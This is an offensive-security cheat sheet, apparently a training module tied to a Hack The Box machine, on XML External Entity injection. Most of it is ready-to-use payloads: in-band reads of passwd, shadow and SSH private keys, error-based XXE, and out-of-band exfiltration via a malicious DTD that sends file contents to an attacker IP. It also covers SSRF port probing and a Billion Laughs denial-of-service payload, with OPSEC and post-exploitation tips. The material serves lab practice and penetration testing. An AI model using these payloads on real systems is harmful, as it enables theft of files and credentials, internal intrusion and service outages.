Back to All Modules

XML External Entity (XXE) Injection

#Overview

XML External Entity (XXE) attacks exploit misconfigured XML parsers that resolve external entities. By defining custom entities that reference local files, external URLs, or internal services, an attacker can read arbitrary files, trigger Server-Side Request Forgery (SSRF), or cause denial of service. XXE is most commonly found in applications that accept XML input for data exchange, document processing, or API endpoints.

#Prerequisites

  • XML input accepted by the web application (SOAP APIs, file uploads, document conversion)
  • Burp Suite or similar proxy to intercept and modify requests
  • Knowledge of common target file paths per OS

#Detection & Enumeration

#Initial XXE Probe

# Intercept XML request in Burp, inject DOCTYPE declaration with entity
# Send to Repeater and test for entity resolution
BASH
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
XML

#Confirming XXE via Controlled Server Callback

# Start listener first
nc -lnvp 80

# Submit XML with external entity referencing your server
BASH
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://10.10.14.40:80/xxe-callback'>]>
<order>
<quantity>3</quantity>
<item>&test;</item>
<address>17th Estate, CA</address>
</order>
XML

#Exploitation / Execution

#In-Band XXE -- File Read

<!-- Read /etc/passwd on Linux -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>

<!-- Read win.ini on Windows (Markup HTB technique) -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<root>&test;</root>

<!-- Read SSH private key -->
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<root>&test;</root>
XML

#Error-Based XXE -- File Content in Error Messages

<!-- Force parser error with file content in error message -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval; %error;
]>
<root/>
XML

#Out-of-Band (OOB) XXE -- External DTD

# Host a malicious DTD on your attacker server
# File: malicious.dtd served via python3 -m http.server 80
BASH

DTD file content:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.10.14.40/?data=%file;'>">
%eval;
XML

XXE payload referencing external DTD:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % ext SYSTEM "http://10.10.14.40/malicious.dtd">
  %ext;
]>
<root/>
XML

#Parameter Entities for Multi-Stage Exfiltration

<!-- Parameter entities (using %) enable multi-stage XXE -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://10.10.14.40/evil.dtd">
  %remote;
]>
<root>&send;</root>
XML

#CDATA Wrapping for Binary File Extraction

<!-- CDATA sections allow extraction of binary content without XML parsing errors -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % start "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///etc/shadow">
  <!ENTITY % end "]]>">
  <!ENTITY % dtd SYSTEM "http://10.10.14.40/wrapper.dtd">
  %dtd;
]>
<root>&all;</root>
XML

wrapper.dtd (hosted on attacker server):

<!ENTITY all "%start;%file;%end;">
XML

#XXE to SSRF

<!-- Access internal services via XXE -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY internal SYSTEM 'http://127.0.0.1:8080/admin'>
]>
<root>&internal;</root>

<!-- Port scanning via XXE with error-based response differentiation -->
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY probe1 SYSTEM 'http://127.0.0.1:22'>
  <!ENTITY probe2 SYSTEM 'http://127.0.0.1:3306'>
]>
<root>&probe1;</root>
XML

#XXE to DoS -- Billion Laughs Attack

<!-- Exponential entity expansion - DO NOT USE on production -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<root>&lol5;</root>
XML

#Common File Targets

OSFilePurpose
Linux/etc/passwdUser enumeration
Linux/etc/shadowPassword hashes (requires root)
Linux/home/*/.ssh/id_rsaSSH private key
Linux/etc/hostsInternal hostnames
WindowsC:\windows\win.iniXXE proof of concept
WindowsC:\windows\system32\drivers\etc\hostsInternal hostnames
WindowsC:\Users\*\Desktop\user.txtHTB flag (Linux targets)
WindowsC:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtPowerShell history

#Common Pitfalls

  • XML entity not rendered in response body (blind XXE) -- switch to OOB techniques
  • DOCTYPE parsing blocked by parser -- try different XML preamble formats
  • File permissions prevent read -- try different files (win.ini is world-readable)
  • External DTD not fetched (firewall) -- try in-band file:// instead
  • CDATA wrapping fails -- may need to use PHP wrapper chains instead

#OPSEC Considerations

  • XXE file reads are logged if the XML parser logs entity resolution
  • OOB DTD hosting generates HTTP traffic that may trigger IDS
  • Repeated XXE attempts to internal services resemble port scanning
  • Billion laughs attacks are highly detectable and disruptive -- avoid on production

#Post-Exploitation Value

  • SSH private key extraction leading to authenticated shell access
  • Internal service discovery via XXE-to-SSRF
  • Application source code reading for further vulnerability identification
  • Configuration file extraction containing database credentials

#Cross-References

#Tool References

ToolLink
Burp Suitehttps://portswigger.net/burp
XXE Injector (Burp Extension)https://portswigger.net/bappstore/xxe-injector
PayloadsAllTheThings XXEhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

#Source Machines

  • Markup (Easy, Windows) -- XXE on order form extracts win.ini, then Daniel's SSH private key from .ssh folder